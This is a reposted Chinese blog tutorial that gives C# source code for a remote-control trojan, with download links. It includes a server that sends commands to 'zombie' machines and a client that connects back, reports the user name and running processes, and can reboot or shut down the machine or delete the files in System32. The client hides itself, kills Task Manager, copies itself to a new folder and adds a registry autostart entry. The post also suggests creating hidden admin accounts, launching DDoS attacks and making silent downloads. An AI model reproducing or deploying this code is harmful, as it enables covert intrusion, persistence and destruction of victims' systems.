码迷,mamicode.com
首页 > Windows程序 > 详细

小白C#窗体系列-07.打造自己的C#远控系列软件

时间:2014-11-14 12:08:26      阅读:343      评论:0      收藏:0      [点我收藏+]

标签:blog   http   io   ar   os   sp   for   文件   数据   

软件下载(.NET 4.0 框架)http://pan.baidu.com/s/1mg6z1MC 【源码看下面】 

bubuko.com,布布扣

bubuko.com,布布扣

 防止有人恶意利用,我发的是最原始版本,强化版没敢发

一、设计图纸:(更多在于思路)

二、bubuko.com,布布扣代码分析: 1.服务器     ①监听Socket

     //启动的时候执行Server_Load事件
    Control.CheckForIllegalCrossThreadCalls = false;  //关闭跨线程检测
 
    //创建一个监听Socket --第一个参数是IPV4,第二个是选的流式传输,第三个是对应的协议
    Socket socketWatch = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
 
    //获取IP 
    //IPAddress ip = IPAddress.Any;
    IPAddress ip = IPAddress.Parse("192.168.92.1"); // 我 写 死 的, 你 可以 改
 
    //获取端口+IP
    IPEndPoint point = new IPEndPoint(ip, 5438);  //获取端口号和ip
 
    //开始监听
    socketWatch.Bind(point);
 
    //设置监听队列
    socketWatch.Listen(50);
 
    //等待客户端连接
    Thread th = new Thread(Wait);
    
    th.IsBackground = true;
    
    th.Start(socketWatch);
  Dictionary<string, Socket> dicSocket = new Dictionary<string, Socket>(); //用来放肉鸡的ip+端口和对应的Socket
//Wait方法: 
    #region 线程执行一:等待肉鸡们的连接
 
        public void Wait(Object o)
        {
            Socket socketWatch = o as Socket;
            
            while (true)
            {
                Socket socketSend = socketWatch.Accept();//返回一个客户端Socket对象
                
                string point = socketSend.RemoteEndPoint.ToString();
 
                dicSocket.Add(point, socketSend);//添加到键值对中
                
                ListViewAdd(point);//添加到ListView中
            }
        }
    #endregion
 //ListViewAdd方法
   
        public void ListViewAdd(string point)//这个point是个IP+端口号 
        {
            int index = point.LastIndexOf(‘:‘);
            
            string ip = point.Substring(0, index);//截取不到index
            
            string port = point.Substring(index + 1);
 
            ListViewItem item = new ListViewItem(dicSocket.Count.ToString("000000"));//添加序号
            
            item.SubItems.Add(ip);//添加ip
            
            item.SubItems.Add(port);//添加端口
            
            listView1.Items.Add(item);
            
            listView1.Tag = point; //Tag很重要
        }
 
     ②通信Socket //准备给肉鸡发指令 
 
 //这个是将会调用的反馈的方法:
    #region 等待肉鸡们发的反馈--我发命令后才用收反馈,而不是一直等(节约资源)
 
    public void ClientInfo(Object o)
    {
        Socket socketSend = o as Socket;
        
        byte[] buffer = new byte[1024 * 1024 * 3];
        
        int r = socketSend.Receive(buffer);
        
        string output = Encoding.UTF8.GetString(buffer, 0, r);//返回用户名 | 监听的数据(任务进程)
        
        Info i = Info.CreateInfo(); //一个子窗体,用来记录信息的,他的构造函数被我私有化了,只能通过单利模式来创建
        
        i.Show();
        
        i.ShowInfo(output); //把信息写到他的文本框中
    }
    #endregion
   //这个是将会调用的发指令的方法:
 
    public void YouMustToUsing(byte cmd)
    {
        try
        {
            string s = listView1.Tag.ToString(); //获取选定项的tag,tag其实里面放的是IP:端口
            
            byte[] buff = new byte[1];
            
            buff[0] = cmd;
            
            dicSocket[s].Send(buff);     //跟据tag在dicSoket里面找到对象的Socket对象,对他执行发指令
 
            if (cmd == 0 || cmd == 1) //有些不需要等待的
            {
               
                ClientInfo(dicSocket[s]);  //等待客户端发的信息--方法在上面
            }
        }
        catch { MessageBox.Show("肉鸡下线了~"); }
    }
 
  发指令: 0-获取用户名 1-获取进程 2-重启 3-关机 4-灭鸡(对方系统会被摧毁,慎用)               YouMustToUsing(0); YouMustToUsing(2); YouMustToUsing(3); YouMustToUsing(4); 
 放生:(只是暂时放生它)
            dicSocket.Remove(listView1.Tag.ToString()); //把键值对里面值移除
            listView1.SelectedItems[0].Remove(); //把列表项移除

2.客户端     ①通信Socket  1、连接服务器 

    #region 连接服务器
 
        public void ClientConnect()
        {
            while (b)//连接没问题就只连接一次,一旦出现问题就反复连接直到成功
            {
                try
                {
                    //创建一个Socket通信对象
                    socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
 
                    //获取服务器ip
                    IPAddress ip = IPAddress.Parse("192.168.92.1");
 
                    //开始连接
                    socketSend.Connect(ip, 5438);
 
                    b = false;//到这一步说明程序正常,就不要反复连接来占用资源了
 
                    //连接成功后咱们就得接受服务器的指令了
                    Thread th = new Thread(DntWatch);
                    
                    th.IsBackground = true;
                    
                    th.Start();
                }
                catch
                {
                    b = true;//有问题,那就继续连呗,反正又不是咱们的电脑,不能告诉他详细信息的
                }
            }
        }
    #endregion   
      2、获取用户名:Environment.UserName.ToString();          3、 获取进程:
    #region 获取进程
    
        public string GetProcess()
        {
            StringBuilder sb = new StringBuilder();
            
            Process[] ps = Process.GetProcesses();
            
            foreach (Process item in ps)
            {
                sb.Append(item.ProcessName).Append("\n");
            }
            
            return sb.ToString();
        }
        
    #endregion
 

   4、 重启+关机,这个当时在C#伪病毒的第三期讲解过,再稍微说下吧,看代码吧:   "shutdown -r -t 0" 是0秒后重启,"shutdown -s -t 0"是0秒后关机,你在Win+R中试试就懂了

 
    [DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
        
    private static extern int ExitWindowsEx(int uFlags, int dwReserved);
        
    public void DNT(string input)//关机 //重启 input就是上面的代码shutdown指令
    {
        System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
        
        myProcess.StartInfo.FileName = "cmd.exe";  //启动文件名字--cmd
        
        myProcess.StartInfo.UseShellExecute = false; //不需要shell启动进程
        
        myProcess.StartInfo.RedirectStandardInput = true; //从流中读取
        
        myProcess.StartInfo.RedirectStandardOutput = true; //将输出写入流中
        
        myProcess.StartInfo.RedirectStandardError = true;//如果有错误也写到流中
        
        myProcess.StartInfo.CreateNoWindow = true; //在新窗口中启动
        
        myProcess.Start(); //启动
        
        myProcess.StandardInput.WriteLine(input);//向流中写入参数
    }
  5、灭鸡 ----小灭,就删你点东西
 
        string dPath = @"C:\Windows\System32";
        
        string[] dfiles = Directory.GetFiles(dPath);
        
        foreach (string item in dfiles)
        {
            try
            {
                Process.Start("cmd");
                
                File.Delete(item);
            }
            catch
            {
                continue;
            }
        }
        
        DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");

    ②简单防护         1、诡异大小  加载的时候设置width height 为0

                         this.Width = 0;            this.Height = 0;  
        2、透明消失
                         this.Opacity=0;
        3、图标隐藏
              this.ShowInTaskBar=false;  
        4、进程防杀--换个思路:不让打开任务进程 ----不要用线程拉个死循环,很浪费内存的,一个timer就ok了
 
    public void KillProcess()
    {
        Process[] pro = Process.GetProcessesByName("taskmgr");
        
        foreach (Process item in pro)
        {
            try { item.Kill(); }
            
            catch { }
        }
    }
    
    private void timer1_Tick(object sender, EventArgs e)
    {
        KillProcess();
    }
 
        5、不让关闭
    private void Client_FormClosing(object sender, FormClosingEventArgs e)
    {
        e.Cancel = true; //关闭事件取消
    }
 
        6、自护模式--复制一份自己到一个制定目录下,再打开
 
    try
    {
        string path = Application.ExecutablePath; //获取当前文件全路径
        
        string fileName = Path.GetFileName(path); //获取文件名+后缀
        
        Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt"); //创建这个目录
        
        string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\" + fileName; 
        
        if (!File.Exists(newFileName))
        {
            File.Copy(fileName, newFileName, true); //复制一份过去
            
            Process.Start(newFileName);
        }
    }
    catch { }
  
        7、开机自启---我没写进去,你要弄可以把注释取消掉----要操作注册表了(逆天注册表也不是很懂,这个是借鉴的,所有不能满足所有电脑,下次逆天会自学下注册表的)
 
    public void Startup()  //win8 60%的电脑有用,win7都可以
    {
        try
        {
            string KJLJ = Application.ExecutablePath;
 
            if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在
 
                return;
 
            string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") + 1);
            
            string path="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
 
            RegistryKey Rkey = Registry.LocalMachine.OpenSubKey(path, true);
 
            if (Rkey == null)
 
                Rkey = Registry.LocalMachine.CreateSubKey(path);
 
            Rkey.SetValue(newKJLJ, KJLJ);
        }
        catch { }
    }
 

  补充,只是提供一个思路: ①比如你想登肉鸡的电脑,那么调用cmd 加这几个参数就行了: net user dnt 123456 /add  //添加用户dnt,密码123456

net localgroup administrators dnt /add //把dnt加到管理员行列中
②比如你想DDos打站,那你传个ip过来就可以了,是自己打还是调用别人软件什么的,自己看着办吧 ③比如你想传个文件来,那么你传个地址来,让客户端默认后台下载就行了 等等。。。。。思路无限,关键你想。。。  

三、源码分享:http://pan.baidu.com/s/1qWFKJhU

四、视频共享: 等~~~            

本期推荐: .NET3.5框架(突破系统底层安装)                                                                      下一期:小议Base64+MD5加密

 

小白C#窗体系列-07.打造自己的C#远控系列软件

标签:blog   http   io   ar   os   sp   for   文件   数据   

原文地址:http://www.cnblogs.com/dunitian/p/4096714.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!